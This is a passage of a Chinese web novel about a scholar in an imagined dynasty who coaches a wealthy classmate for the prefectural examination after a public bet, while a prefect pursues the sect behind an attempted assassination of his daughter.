“你不要冲动,打了他只能证明你心虚。兵书有云,上兵伐谋,其次伐交,其次伐兵,其下攻城。”苏辛集耐心的引导着。
“你到底想说啥?”鲁秉策有些不耐烦,他最讨厌这些文绉绉的东西,若不是父亲强压着, 他肯定早就回家当个富贵闲人去了。
“他是想告诉你,想要打脸,动手是下策,要用这里!”许展指了指太阳穴。
苏辛集点头:“咱们都是要参加府试的人,你有没有胆子跟他在考场中一较高下?”
李景阳听了,狂笑不已:“就凭他?苏辛集,我承认你有点能耐,若是你对我发起挑战,我还能勉强接了,可若是换成他,那根本就不用比,他输定了!”
全班不少人听到,纷纷议论起来。
鲁秉策脑子嗡一下就大了:“瞧不起谁呢,比就比!府试我必不输你!”
李景阳抬眼看了看外面的太阳:“大白天的,说什么梦话呢。”
苏辛集饶有兴致的看着鲁秉策,老天都在帮你啊,要是这还不能激励你,那就没人能帮你了。
“给我站住,敢不敢跟我一赌?”鲁秉策指着李景阳的背影。
李景阳压根不愿意浪费时间,直接道:“实话告诉你,内舍榜单前二十的师兄,会在府试前给我指点,你若是只靠他,根本不可能赢我!”
榜单前二十?!
众人倒吸了一口冷气,怪不得李景阳如此高冷,原来人家都混到内舍圈了……
第五十四章 内舍圈
内舍前二十,放到外面的私塾,那就是夫子的角色。甚至远超一般的夫子,李景阳能得到他们任何一个的指点,这次府试就是十拿九稳。
鲁秉策什么性格,大家都清楚,平日里喝茶听曲儿的事少不了他,一到学习就打瞌睡。能在学院里呆这么久,听说是因为他爹捐钱的缘故。
而李景阳可是外舍乙班的佼佼者,就算李景阳无人指点,鲁秉策也不可能胜过他。现在李景阳又有了内舍师兄的指点,大家都觉得鲁秉策主动提打赌是不自量力。
“你就说敢不敢赌!若是我赢了,你就围着外舍跑三圈,同时喊李景阳就是块烂泥,有内舍师兄指点,也糊不上墙!”鲁秉策扬着脖子道。
“呵,真自信昂,你若输了,就给我滚出外舍,白鹿洞书院不要你这种渣滓。怎么样,还想赌么?”李景阳压根就没把鲁秉策当盘菜。
“有什么了不起,你有内舍前二十,我有小师父苏辛集,赌!”说着,鲁秉策拿出纸笔刷刷写了赌约。
“真写了,还按了手印?”
“鲁秉策这小子真绝了,他爹知道肯定要打断他的腿。”
“是啊,他这么做,把苏辛集也拖下水了……”
写完,鲁秉策把两份赌约放在李景阳面前:“你签字吧。”
李景阳毫不含糊,拿起毛笔写下自己的名字。
“这可是你自找的!”李景阳把赌约扔给鲁秉策,转身就走。
鲁秉策这会儿才感觉到手里的赌约有千斤重,他走到苏辛集面前:“小师父,你说他李景阳有内舍师兄,我也有你呢,这一局咱们肯定不能输的,对吧?”
苏辛集嘴角一抽抽,反手指着自己道:“你让我跟内舍前二十比?”
“刚才不是你让我下赌约的么?”鲁秉策无辜的眨着大眼睛:“小师父,你可不能不认账昂!”
“第一,我可没说要当你师父,第二,刚才我说的是咱们可以在府试中比一比成绩。不是我跟内舍前二十比谁带的徒弟更优秀,人家前二十还有进士出身,我连府试还没考,那能是一个段位的么?”苏辛集有些无语,让他自己比,绝对有胜利的把握,现在若是比带徒弟,那就相当于把主动权放到了别人手里,不好说啊。
“小师父,你放心,拜师礼我晚上补给你,事急从权,不是你教我的么!你也不要妄自菲薄,虽然你没进内舍,但是你开蒙三个月不就考中县案首,春试过了,连跳两级直接就进入咱们乙班了,这才来府城几天啊,就认识了张知府,这说明什么?”
论洗脑,鲁秉策还是有些经验的,他伸出一根手指:“说明你在读书方面,非常有天分昂!你跟张知府走的近,那跟张醴龄就是同辈,是朋友,你也进入内舍圈的人,这次比试,咱们稳赢!”鲁秉策自信满满。
“拜托,你也说了,是我有读书的天赋,大兄弟,这玩意我没办法教你啊。”苏辛集摊了摊手,刚才是为了给鲁秉策打打气,怎么就把自己也绕进去了?
“我不管,反正我是不能退学的,我爹每年都给学院捐不少银两呢。万一他知道这些年都白捐了,我肯定要被打死的。小师父,小伟做的文具我一直挺喜欢的,我预定五十两的文具,如何?”
“不行!”苏辛集果断拒绝。
鲁秉策也不恼,他眼珠子一转:“小师父,我突然想起家里有个木器店,我爹说日后等我考中了秀才,若是不想继续读书,就让我练手,学习经营。您也知道,我这个人脑子不行,不懂经营,正好这次拜师,我分您一半的店铺,您看如何?”
苏辛集心神微动,若是有了木器店,文具店的事儿可就能提上日程了。至于是全资还是合营,这倒是不重要,苏辛集可不是个爱吃独食的人。
“这不妥吧,那可是你爹让你学习经营的。”
看出苏辛集的犹豫,许展在旁边起哄道:“秉策,你这可是赌上了前途,这拜师礼可不能太轻,若要我说,都给你师父得了。反正你也不善于经营,回头等辛集高中,你就是当朝状元的徒弟了。”
这个可以有!
苏辛集暗暗窃喜,可表面还是一本正经道:“许展兄,莫要瞎说。”
“不,我觉得许展说的有道理,小师父,木器店就是我的拜师礼,反正我是独子,这点事儿我还是能拍板的。就这么说定了,回头我就把契文拿来,咱们一起公证。只要咱们师徒同心协力,绝对稳赢。”
“何以见得?”苏辛集感叹,鲁秉策也许不是个读书的料,但若是当官,说不定还真行,做事果断,懂人情世故,倒是可以栽培一二。
苏辛集知道,自己若要走的远,总要培养班底。小伟那孩子是走不了仕途的,让他经营几个店,搞搞管理就是极限了,像鲁秉策这种,就有一定机会进入官场。
“小师父,李景阳不过是得到内舍师兄的指点,你虽然没进内舍,天赋才学都是拿得出手的。何况您还得到张知府的赏识,能坐着马车来到院内,就算是张醴龄都没这个待遇呢。可见您深得张知府欢心。”鲁秉策坚定的道。
坐马车进来,是因为我受伤了啊!
不过苏辛集没有解释,若是当着这么多人的面说自己救了张家小姐,肯定又是一场舆论风暴。
“小师父,你是不是觉得我说的很有道理?你还年轻,内舍师兄不是你的对手。你就当帮帮我,我爹的脾气,你是听说过的,要是我真的被他打死,我做鬼……”
“好好,别扯远了。我答应你,带你飞就是了。不过你也得听我安排,每日的任务安排都要保质保量的完成。其实你基础还可以,就是有些懈怠。”
苏辛集见鲁秉策越说越不着调,便连忙打断,决定接下这个“烫手山芋”。
“那肯定的。”鲁秉策还不知道,他很快就高兴不起来了。
第五十五章 魔鬼训练
苏辛集布置的任务是抄书,读书!
鲁秉策觉得,这些年他加起来,他都没有写过这么多的字!
这简直是魔鬼训练!
很多书,苏辛集只是看一遍,就能记住了,鲁秉策则是早读晚诵,然后研读苏辛集写的学习笔记。抄的多了,也就内化成自己的了。
也就是几天的功夫,鲁秉策就感觉到了自己的变化。尤其跟着苏辛集一起研读《春秋》,鲁秉策觉得大开眼界,读书学习似乎变得没那么枯燥了。
抄书,不光是为了加深记忆,也是为了练习卷面整洁,一个好的卷面会提升不少印象分,前世,苏辛集就会一手板正的衡水体,无论是英文还是语文,都是全校的展示作业,板书甚至比老师的还漂亮。
合格的抄品,苏辛集就收起来,准备日后回去的时候,带给周夫子。他这个入门弟子,总要为师弟师妹们做点实在事儿。
鲁秉策不到半月,清减了不少。虽然每日精疲力尽,但也有不少体会和感悟,苏辛集的进步更是不用说,他准备过两天请假去一趟张家,再跟张老爷子探讨下学问。
府试在即,苏辛集作为县案首,上榜应该是十拿九稳的,但无论什么事儿,都有可能发生意外,不到放榜的一刻,谁也不敢打包票。而且这次苏辛集不仅是要自己上榜,还要带着鲁秉策一起,必须要做到全面查漏补缺,不留短板才好。
就在鲁秉策觉得自己要虚脱了的时候,苏辛集给他放了一天的假。因为苏辛集要去张府,拜访张知府。
鲁秉策恨不得苏辛集在张府多住几日,“小师父,我回趟家,把木器店的契书弄好就回来,保证不耽误学习的。”
“嗯,上次那本书,这两天必须抄完。我会尽快回来,你不要偷懒,府试在即,若是比试输了,代价你是知道的。”
每当鲁秉策想要偷懒,苏辛集总会提起他有可能被迫退学的事情,这是鲁秉策无法承受的,老爹是一门心思让他考科举,为了保住外舍的位置,每年父亲都要捐不少银子的。哪怕是考个秀才再放弃,也算是个安慰。
鲁秉策回到家,见到儿子整个人像是脱胎换骨了一半,鲁嵘爽朗的拍着儿子的肩膀:“看来你小子很刻苦昂,没白费我一番心血。”
“爹,我这次回家,是有事儿跟您商量的,我拜了个师父……”鲁秉策把事情添油加醋的跟父亲说了说,当然苏辛集的能耐,也夸张了不少。鲁秉策顺手把苏辛集送的笔和文具盒拿了出来。
“这,这真是你师父设计的?”
鲁嵘难以置信的摆弄着面前这些从未见过的文具,“真是绝了!你小子还真有眼光。知道投资在人身上的价值,比你爹悟性强啊。这次,不光要送木器店,还得给他配上伙计,就让你师父的弟弟当掌柜,回头等文具店经营起来了,你问问你师父,咱们去别的府城开分店行不行。”
鲁嵘能白手起家,绝对是有些远见的。他一眼就看出商机,更看出苏辛集的潜力。儿子跟着这样的人,走仕途是不用愁了,可赚钱的买卖,鲁嵘也不想落下,送一个木器店,换来一个新兴行业的经营权,那绝对是稳赚不赔啊。
这些文具,已经够别致的,要是还能不断的推陈出新,那肯定是受欢迎的。到时候把店铺开到京都,那些到京城赶考的学习们,肯定愿意光顾的。
鲁嵘想到这些,兴奋地催促儿子赶紧去过户,顺便再找些木匠,签订**契才可以派到店里,只要有了**契,这些木匠就算是学会了手艺,也走不了的。
在大昭朝,士农工商是“四民”,除此之外,还有杂户、官户、奴婢等低等群体。鲁嵘是个大地主,家里有地,有铺面,也算是殷实。他此生最大的愿望就是让儿子入仕,改变阶层。而这些木匠,一旦签订了**契,就是主人的私有财产,没有自由可言的。
鲁秉策笑着道:“爹,我就猜到你会这么做,你的小算盘打的比小师父
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的还响。你就不能歇歇么,咱家又不差银子。”
“瞧你这话说得,银子多了还烧手不成?再说了,你日后做官,总需要上下打点的吧,就算是进士,去哪上任区别也是很大的。”鲁嵘觉得儿子还是经历的少,不当家不知道柴米油盐贵。
“爹,我府试都没过,你竟都打算到那么远了。万一若是我考不中呢,你不是白筹谋了?”
“快呸呸,别瞎说,我儿必中的。”鲁嵘脱口而出,意识到可能会给儿子太大压力,他又换了个角度找补:“就算是你用不上,那你小师父呢,他可是有天赋的,万一要是中了进士,咱们适当的给他一些经济支持,日后他要是为官一任,也能造福咱们鲁家啊。臭小子,要不是你认他当师父,这样的孩子,我都想收来当干儿子呢。”
鲁秉策看到父亲满脸羡慕的说这些,喉头有些堵得慌。
自己这阵子已经很努力了,可比起小师父苏辛集差很多。最可怕的不是人家有天赋,而是人家有天赋,还努力!
“爹,让厨房炒两个菜,我想喝点。”
“行啊,我正好收了些好酒,今儿咱们爷俩不醉不休!”
鲁秉策回来,鲁家上下都是一团喜气洋洋。见儿子带回来好消息,鲁嵘也想喝两杯,庆祝庆祝。
“我都这把年纪了,没想到商业版图还能有扩大的机会。如今,我是斗志满满,等你小师父得空,一定请他来家里坐坐。我还有很多问题想要请教。”
能够得到张知府认可的人,鲁嵘认为怎么重视都不过分。
鲁秉策心中有些酸楚,老爹现在三句话不离小师父,自己就坐在眼前,都不见老爹多念叨一句。
这种情绪,鲁秉策还不敢说出口,他知道老爹最见不得小鸡肚肠的人。
鲁夫人有些沉不住气了,终是开口道:“他爹,你别老是说那些没影的事儿,儿子都瘦脱相了,你也不关心下儿子抄书累不累,还需要带些什么去学院?”
第五十六章 头发长见识短
“真是头发长见识短,你个妇道人家,懂什么?哪个人学习不累,你看看咱家长工,数十年如一日,人家不都能坚持么?你儿子不过是读读书,其他的事情都不用他操心,这已经就是捷径了!”鲁峥板着脸吼道。
“长工还有休息的时间呢,我儿哪有?你看看他现在又黑又瘦,我能不心疼么?”鲁夫人被呵斥,反而胆子大了起来。
见父母为了自己要吵起来,鲁秉策心中一暖:“娘,父母之爱子,则为之计深远。爹也是为了这个家。我辛苦点不算什么的,您不要担心了,若是将来儿子高中,当了大官,就给您弄个诰命夫人当当。”
“我儿有这份孝心就够了,娘不愿你如此辛苦。”鲁夫人看向儿子,眼中满是温柔。
“咳咳,要不你去厨房盯着,让他们再加两个菜,儿子好不容易回来一趟,总要补补。”鲁峥觉得,妻子多同情儿子一分,就是对他的前程不负责。便找了个理由,支开了妻子。
“你这话说得是,策儿,我这就去。”心疼儿子的鲁夫人,根本就没想太多。
鲁秉策点头,心中知道,父亲有悄悄话对自己说。
“秉策,老爹活了大半辈子,深知一个道理,自古能成大事者,身上都有一种气场,普通人沾上了,也会时来运转。我知道你不喜读书,想要写话本子,可那终究登不上大雅之堂。咱们鲁家改换门庭,可就指望你了。”鲁峥感慨道。
“爹,我都懂。科举之事,我会尽力而为。”
“不是尽力,是一定要考出个名堂,哪怕最终只是个秀才,也算是了了爹一桩心事。这个苏辛集是个成大事的人,你跟着他混,没错。”
鲁秉策对这话深信不疑,“您说这个,倒是真的。我现在跟他是同舍,苏辛集这人不仅聪明,还特别勤奋。我现在天天跟他一起抄书,长进很大。”
学院里多数学生都是住宿,极少数离家近的会选择走读。学院的住宿条件还是可以的,外舍多为四人间,内舍则是两人间居多。回家住的学子家里条件大都不错,家中长辈可以随时指点。
“距离府试时日不多,你要尽力一搏才是。”
“儿子明白。”
鲁峥举杯,父子俩一饮而尽。
次日,鲁峥便差人去办了过户的手续,把木器店的事儿敲定。又让人准备了不少吃食儿,让儿子带去学院。
为了儿子读书,鲁峥是操碎了心。
这边,苏辛集刚到张府,张楚菲便缠着苏辛集,让他讲故事。苏辛集还想请张知府指点,断然不能得罪张楚菲,便挑着《聊斋》中的故事改编了下,吓吓她,下次便不会缠着自己了。
谁能想到,当苏辛集讲完,张楚菲一脸意犹未尽的道:“你说这世上真有狐仙么?我真羡慕狐仙姐姐跟书生的爱情故事,苏辛集,你是怎么想到的,狐仙姐姐一生为情,听得我都落泪了。你若是不参加科举,光靠话本子,也能出人头地的。”
“那可不一样。我要做一个造福万民的人,话本子不过是赚钱的手段,你若是觉得不错,后续我也可以写一本。”见到有市场,苏辛集嗅到了商机。
“那好吧,要不一会儿吃完饭,你再讲一个给我?”恰好张伯勋进来,听到女儿晚上还要缠着苏辛集,立马打断道:“楚菲,马上要府试,莫要打扰辛集了。”
这会儿张伯勋虽然对苏辛集有所改观,但依旧不愿女儿跟他走的太近。打发走女儿,张伯勋讲了下**的事情。
“辛集,上次的**已死,调查大费周章,不过也并非一无所获。经过深入调查,已经证实观音教的余孽就藏在盘佘山上。他们敢下山刺杀小女,这事儿就不算完。”
苏辛集感受到张伯勋身上浓浓的父爱,心中未免感慨,楚菲小姐真是前世积福,今生才会有如此父兄。观音教余孽藏在深山,想要剿灭绝非易事。
若是没有当地村民带队,外面的人就
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算是侥幸进去,也很难走出来。正是由于地势复杂,这才让观音教有了发展的机会。他们下山传教,坑蒙拐骗后,缩回深山,就如同鱼儿进了大海,根本就找不到人。
“张伯伯,此时还需要从长计议。那**竟然愿意豁出性命,显然是被观音教洗脑了,这等人民间还不知道有多少,若是想要连根拔起,还需要慢慢渗透啊。”
听到苏辛集的话,张伯勋若有所思。他原以为苏辛集中了一刀,听到衙门准备武力绞杀,应该很高兴才是,没想到苏辛集反而劝自己,要步步为营,这小子是个沉得住气的!
张伯勋对苏辛集的评价,不由得又高了两分。开心之余,对苏辛集又是一番指点,看到苏辛集拿出来的文章,较之前进步不小,张伯勋很开怀:“若是按照这个进度,院试不是问题。你小子身上有股韧劲儿,兴许能创造奇迹。”
张伯勋没当上状元,心中难面有些遗憾,儿子虽然在学院内舍,但张伯勋心里清楚,儿子天赋有限,苏辛集却不一样,起步晚还能达到这种境界,兴许真有机会拔得头筹,成为大昭朝有史以来最年轻的状元郎!
盘佘山。
听到风声的大哥,此刻万般恼怒。
“蠢货!”
手把件从半空中划了道狐仙,落在了大胡子的身上。大胡子哪里敢躲,被砸中额头,鲜血瞬间就流了下来。
“这么大的事儿,为何不提前商量下?”
“我以为……”大胡子话没说完,就被大哥打断了:“你以为杀了张楚菲就能吓唬住张伯勋么?李家那边千叮咛,万嘱咐,不要把事情闹大,你这么莽撞,只会给兄弟们带来灾祸!”
大胡子心下了然,“噗通”一声跪在地上:“大哥,我愿受罚。”
大哥王栋一声叹息:“杖责三十,罚你三个月不准下山!”
这个惩罚,算是很轻的了,若是换成别人,搞出这么大的动静,恐怕小命都保不住!
第五十七章 盘佘山
不少人都在冷眼旁观,这件事确实是老三办砸了,他竟然趁着大哥不在,偷偷安排人刺杀张楚菲,想要讨好李家。结果偷鸡不成蚀把米,李家那边没讨好上,反而暴露了盘佘山。
三个月不准下山,更没机会找小娘子,大胡子心中是有气的。
“大哥,我只是想给张家一点颜色瞧瞧,没打算真的弄死张楚菲,那日若不是突然有个小子当了路,也不至于把事情搞砸!”大胡子梗着脖子道。
“错!你怎么到这会儿还执迷不悟?做事得靠脑子,光靠打打杀杀有什么用!若是他们真的攻上来,我就用你的血祭旗!”大哥王栋气急败坏地吼道。
“大哥!”大胡子还想解释,被一个书生模样的人打断,若是苏辛集在场,一眼就能看出此人就是军师一类的角色,电视剧里都是这么演的。
“老三,大哥说得对。你做事太冲动,张家和李家的争斗在朝堂,往根上说是党争,咱们之所以帮李家,不仅仅是为了找靠山,更是为了挑起朝堂纷争。只有朝堂乱了,咱们才有机会。大哥这次下山,就是密谋这事儿的。你倒好,不声不响就去戳张伯勋的肺管子,他现在把矛头指向咱们,万一真有人支持张伯勋出兵,你觉得咱们能扛得住么?”
说话的叫许潍,他当年也是做过官的进士,只是后来经历了些坎坷,偶然之下被大哥王栋所救,这才入了观音教。大胡子的这会儿被打得皮开肉绽,知道王栋说一不二,他只能强撑着跪在地上:“我知道错了,大哥,往后我定然不会如此鲁莽了。”
“嗯,幸亏张家小姐没事儿,那小子我让人查了,不过是路过的书院学生。没什么背景,张伯勋应该不会为他出头的。回头我找人去说和说和,只要张伯勋愿意退一步,咱们可以付出点代价。这也是李家的意思。”
王栋这么说,就是想要告诉大家,做事不要光动手,不动脑子!
次日下午,鲁秉策回到学院,拿出好吃的跟同窗分享。苏辛集也是前后脚回来的,昨日跟张伯勋探讨了不少学习上的事情,苏辛集若有所悟,所以并未在张家久留,便回了学院。
众人围着鲁秉策抢小吃食,唯独李景阳一脸不屑,他当即走到苏辛集面前。
“你看看,这样的人还值得你浪费精力么?府试在即,他却把精力放在吃食上,你们已经输了。”李景阳挺直脊背,站在苏辛集面前,倨傲的样子令人心生厌烦。
“那你说说,他是怎么样的人?”苏辛集合上书本,抬眼看向李景阳。
“不学无术,喜好钻营。你可知,他能来学府,就是靠捐赠。你把时间浪费在他身上,有何意义?鲁秉策这种人,就该早日退学,将名额留给真正有需要的人。”
恰好这话让鲁秉策听到,立马就不乐意了。
“李景阳,小师父都没说什么,你瞎操什么闲心?我是光明正大考进来的,即便是实力不行,也是学院清退我,用得着你阴阳怪气。”论嘴上功夫,鲁秉策是没输过的。
周围不少同窗都吃了鲁秉策带来的吃食儿,这会儿都向着鲁秉策说话。
“李景阳,你是不是觉得打赌会输,露怯了?”
“你既然这么珍惜时间,怎么还不去读书!”
“他若不是有内舍师兄指点,也不会比我等好到哪里去……”
李景阳气急,“你们大可去找内舍师兄指点,科举考试本来就是各凭本事。”说着,他转头看向苏辛集:“我听说张知府对你欣赏有加,日后前途不可限量,你却选择与这种资质平庸之辈为伍,可笑至极!”
“我看你是皮痒痒了!”鲁秉策撸起袖子,就想要动手,被同窗们拉住了。
“别跟他一般见识,他那张嘴,一直不都这样吗!”
鲁秉策想起父亲的嘱咐,只能硬生生的压下怒火。甭管怎说,在做学问方面,李景阳确实有过人之处,有傲娇的资本。
“这次的府试案首,我小师父当仁不让,回头他还会中小三元!”鲁秉策看向苏辛集:“有我小师父在,你啊,最多第二。”
童试三级考试,均获案首难事科举入门阶段的顶级荣誉。即便是白鹿洞学院,至今为止,也就只有当代院长一人,曾经获次殊荣。若是算上***,被称之为“六首”,极为罕见。至今大昭朝的历史上,还没有获此殊荣之人。当朝阁老严大人,当年便是获得了小三元,如今被圣上器重不已。谢嫣儿的父亲也是因为看不惯严阁老飞扬跋扈,才被发配苦寒之地。
四周的学子都知道其中难度,即便是吃了鲁秉策的吃食儿,也不敢贸然开口。
苏辛集只是县试案首,入学还没几日,通过府试问题不大,但若是想要拿府试案首,那就有难度了,且不说全府城,就说学院里,最不缺的就是县案首了。
“那咱们走着瞧!”
李景阳冷哼一声,走出学堂。
周围学子瞠目结舌,这俩人把别人当空气啊,仿佛府试前两名就是他们的囊中之物。尤其是李景阳,如此高调,很快就引起众人的不满。
真是太目中无人了!
李景阳也不在意旁人的议论,经常拿着书就往内舍跑。谁也不能阻碍他进步!
而苏辛集就表现的很接地气,他经常和大家聚集在一处,探讨程文集中的内容。鲁秉策跟着大家一起探讨所背之文,心中的体会更深了一层。几次下来,他自己都觉得思想得到升华。
每日除了吃喝拉撒,鲁秉策都用来背书、做文章了。
这种日子,他以前想都不敢想。
若是早就如此勤勉,也不至于被李景阳看扁。
此时传开,学院里不少学子私下下注,这边苏辛集早年丧父,据说连私塾都没读多久,这家境比一般学子差不少,鲁秉策倒是家境殷实,可他吊儿郎当的样子,若要说比赛写话本子,他倒是有可能取胜,现在是府试之争,想要跟李景阳比,机会渺茫啊。
第五十八章 追本溯源
就在外舍学子们兴致勃勃探讨府试之争的时候,鲁家也热闹的紧。
鲁夫人见丈夫回来,便上前倒茶。
“策儿最近确实不一样了,今早我起来的时候,他就已经在看书了。孩子努力,本是好事,我就是担心他伤了身子,你也知道,策儿从小就没吃过苦。”
鲁峥叹了口气:“这才刚过了县试,通过府试不过就是个童生。若是府试都不过,来年还得从头考。过几日就到府试,等这阵子过去,我便同他说。”
“只能如此了,夫君你也别给策儿太大压力,我听说不少人在考场上就没了半条命,咱们就这一个孩子,总不能为了科举,连身子都不顾。”
俩人谁都没想到,有一日会担心自家孩子太努力了。
“嗯,只要他中了秀才,我也就知足了,他若是不愿意继续这条路,我便允他回家。”这些年,鲁峥也给学院捐了不少银两,总要有个结果的。
鲁峥的性格,没有人比当妻子的更了解,他就是嘴上说说,实际上巴不得儿子去京城做大官。只要稍微看见点希望,就敢抛弃一切顾虑往前冲。鲁夫人也只能默默做点吃食儿,让儿子多补补。
藏书阁。
苏辛集检查了鲁秉策的作业,点头道:“有进步,字迹工整,啰嗦的毛病也改了不少。这次去张伯伯那里,他给我了份资料,万安府的王知府算是他的故交,此人文风淳朴,在万安府主持过两次府试,这是他手中通过的程文。时间不多,你先看看,若是能背下,固然是极好的。”
“师父,你把程文给我,那你呢?”鲁秉策知道这些资料非常珍贵,有些意外的问道。
“回来的路上,我粗略看了一遍,差不多背过八成了吧。你先看,回头靠前我再捋一捋。”
“这也太多了吧?”鲁秉策大惊,什么脑子能在路上就背过了八成?
苏辛集以为鲁斌秉策又要犯懒,严肃地道:“莫要忘了你的赌约。纵使你有些基础,文章写得花团锦簇,罗里吧嗦,便入不了考官的眼,只要主考官不认可,还是得从头再来的。”
每个主考都有自己的偏好,想要被选中,迎合是最直接的办法。
“不是,我不是那个意思。我只是惊讶,这么短的时间,你怎么能背过大半呢?”鲁秉策觉得,自己一天能背过一两篇就是极限,这里收录了九十八篇,实在是太多了。
苏辛集看了鲁秉策一眼:“我跟你不一样,我没有爹,娘还指着我光耀门楣,若是我不行,大房、二房的唾沫,都能把我娘给淹死。还有我的妻子,她的家人蒙受不白之冤,在苦寒之地也不知道能坚持多久。你若是背负了这些,就不觉得程文有分量了。”
鲁秉策是第一次听苏辛集提起家里的事情,这才知道他阳光的笑容下,隐藏了那么多的烦心事。
“三日,我也要掌握个八成。”
鲁秉策暗下决心,就算是不睡觉,也要把这些文章背诵下来。至少,在府试前是要有深刻印象的。
从这一刻起,鲁秉策似乎是变了个人,府城的热闹跟他毫无关系,就连母亲令小厮送来的吃食儿,他都没时间吃,直接转送了同窗好友。
早上睁开眼睛,便是大声朗读,草草吃了早饭,又是新一轮读写,下午再重复上午的学习内容,晚上吃过晚饭继续朗读之前学习过的文章。每日三轮,三日便是九轮。并且鲁秉策利用这三日的时间,把苏辛集划重点的三十篇都抄录了下来。
苏辛集看在眼里,满是欣慰,若是如此,鲁秉策通过府试希望很大。从藏书阁回学舍的路上,苏辛集和鲁秉策每日都会探讨感悟,苏辛集说了很多鲁秉策不知道的事情。
“你知道,王知府在任期间,做的最大的一件事儿,是什么吗?”
“无非就是断案、剿匪那些呗。”也难怪鲁秉策第一反应是这个,他经常听老爹说,王知府对邪教异徒很是反感,尤其这次张伯勋的女儿被刺杀,俩人似乎下定决心,要去盘佘山剿灭观音教,只是在这方面并未听过有什么惊天动地的政绩。
“非也,王知府上任五年有余,他做的最大的一件事便是治水!”苏辛集知道鲁秉策没有关注这些事儿,便细细解释道:“咱们万安府境内,有一条河,这个你应该清楚吧。”
“这个我知道,延河。从西北发源,途径万安府,从临川府境内入海。咱们万安府多平原,一到雨季,这水就容易淹没良田。七年前年大水,我家不少田地都淹了,颗粒无收,我爹还减半收租,那年大家的日子都不好过。”鲁秉策对决堤淹田的事情印象深刻。
朝廷派遣水利方面的官员前来治理,压根就没啥用,碰上灾年,根本就挡不住。这么多年下来,百姓也不再怀抱期望,都觉得修坝治水无用,还不如等灾情发生,朝廷给些实惠更合适。
王知府可不这么想,他一上任就开始清理淤泥,修建水库,雨季更是亲临第一现场,就是要观察水势,想出更好的防洪措施。
鲁秉策一拍脑门子,若有所悟:“你是说,今年府试的题目,有可能是关于治水的?”
“你脑洞可真大!”苏辛集白了他一眼。猜题的事情,就连张伯勋都不敢贸然推测,更何况你只是个学子。
“脑洞是什么?”见苏辛集又说自己听不懂的话,鲁秉策开始挠头。
“意思是你想多了,我是想表达如此脚踏实地,想要为民分忧的官员,是不喜华丽的,到了考场上,千万别搞花里胡哨的东西。你要展现胸怀大志,满腔赤城,心系百姓的一面,可懂?”苏辛集引导道。
鲁秉策点头:“这我知道,我现在的文风已经改了,尤其是背诵了你勾画的三十篇重点程文,我有很多感悟。潜移默化之中,也不是以前那般浮夸。”
“嗯,这些还不够,你要想想,自己为什么要走科举这条路。”
第五十九章 怎么,踩到你尾巴上了?
苏辛集提出了更深层次的问题,这是鲁秉策从未想过的。
“这个,主要还是为了我爹吧,他一直希望能改变阶层,让我入仕。我个人的话,也是看到了很多底层百姓的艰辛,想要帮帮他们。至于当了官,能做什么,究竟怎么做,我还真的没考虑过。”鲁秉策觉得那些离自己挺远的,认识苏辛集之前,他觉得自己这辈子能过县试就是极限,如今似乎对府试多了几分把握。
“你从现在开始,可以抽空想一想。其实也不止是你,学院中的大多数学子,对官场都没有多少概念。即便是白鹿洞书院,能考中进士的也寥寥无几。但若是不想,就更没有中的可能。凡事预则立,不预则废,如今这个时刻,你可以通过程文集揣摩下王知府的为官之道。”对鲁秉策的提点,也只能到这里,时间有限,说多了反而会给他太大压力。
“师父,那你为什么要参加科举,走仕途?”鲁秉策反问道。
“我爷爷是进士出身,在他眼里,获得功名的子孙那才是家族的中流砥柱。未开蒙之前,我是想得到爷爷的认可,为母亲争光,因为只有爬上去,才能保护想要保护的人。这也是我唯一的出路。”苏辛集顿了顿:“后来通过县试、春招来到了学院,见识了更广阔的世界,我发现世界很大,读书有更深层次的意义,修身、齐家、治国、平天下!这应该就是我读书的动力吧。”
苏辛集有感而发,鲁秉策心中默念:修身、齐家、治国、平天下……
好远大的抱负,怪不得父亲说他是个人物,绝非池中物!
这一刻,鲁秉策下定决心,此生一定要追随苏辛集的脚步,走下去,看看这样的人物,究竟能掀起怎样的风云变幻。
时间眨眼到了府试前夕,这次有同窗陪伴,鲁秉策家里又是个爱张罗的,与之交好的几人,都给准备了东西。落脚的院落就在考场附近,早早就有小厮洒扫干净,收拾妥当了。
万安府下辖十三个县,每个县今年通过县试者五十人上下,参加府试的学子,接近七百人,录取者也就是五六十人。虽说每次都会浮动,但十人之中,最多也就一个通过府试的。当然,若是不出意外,县案首是妥妥的通过者,能成为各县案首,必然是县令极为看好的学子。
府试由知府主考,都是同朝为官,这点面子还是要给的,历年县案首都是榜上有名,只是排位的问题而已。
换句话说,这五六十个名额,十三个县案首已经提前锁定,剩下四十来个名额,才是普通学子能够争夺的。落榜之人还是多数,童生虽然没有官身,但也算是整个府城中的佼佼者了。
苏辛集、叶墨轩等人提前两日来到鲁家准备的小院。
其他同窗便没有那么幸运了,万安府的客栈,此刻是人满为患。送考之人、赶考学子、南来北往的客商云集,客栈趁机坐地起价,翻一倍都算心地善良。
明知道如此,可学子们也不得不住,除非不参加科举考试。随着考试将近,府城也愈发热闹起来。
客栈、食肆、甚至是街边,都有人在慷慨激昂的讨论时政。这可是在县城里看不到的风景,这般氛围下,仿佛不探讨几句时政,就不算是读书人了。
苏辛集等人住在鲁家的小院里,倒是难得清净。白天大家还是照旧温习,做最后的冲刺,晚上便去街上溜达,一方面是舒缓下紧张的心情,消消食,另一方面苏辛集是真的怕近视了。大昭朝可没有眼镜,真的近视,那就难办了。
万安府宵禁前,还是很热闹的。路边都是小商贩,偶尔也能看到书生模样的人在讨诗词歌赋。苏辛集在大街上走着,感受着府城繁华,突然听到有人提到他的名字。
驻足细听。
“你是不知道,山阴县案首开蒙才三个月,便县试高中。这山阴县肯定是人才凋敝,才会如此,有手就能上榜,真是太不堪了。”
“是么,怎么可能?那山阴县这次选拔的士子岂不就是个陪衬?对了,你说的县案首既然有如此天赋,为何不早点读书,即便是家中贫困,族中若是知道他天赋过人,也会举全族之力栽培的吧?”
“什么天赋过人,都是噱头。你不知道,我表姑就是山阴县的,我表姑父就是给苏家供应菜的,苏家三少爷是个白痴,经常被二房家的欺负。好像是娶了谢嫣儿,体会了男女之事,这才开窍了。二房都后悔死了,本来这婚事是说给二房家的次子,谢家老头犯了事儿,得罪了当朝阁老,圣上赐婚,苏家不敢回绝,这才把傻子推出来挡事儿,谁知道因祸得福……”
说话的人尖嘴凤眼,一看就是好八卦的。
“还有这等奇事儿,我倒是很好奇,谢家小姐是什么样的妙人儿,不如等府试过后,咱们兄弟去山阴县拜会下你表姑父?”另外一人身着白衫,表面看上去斯斯文文,没想到说话这般不着边际。
俩人相视一笑,眼中满是猥琐。
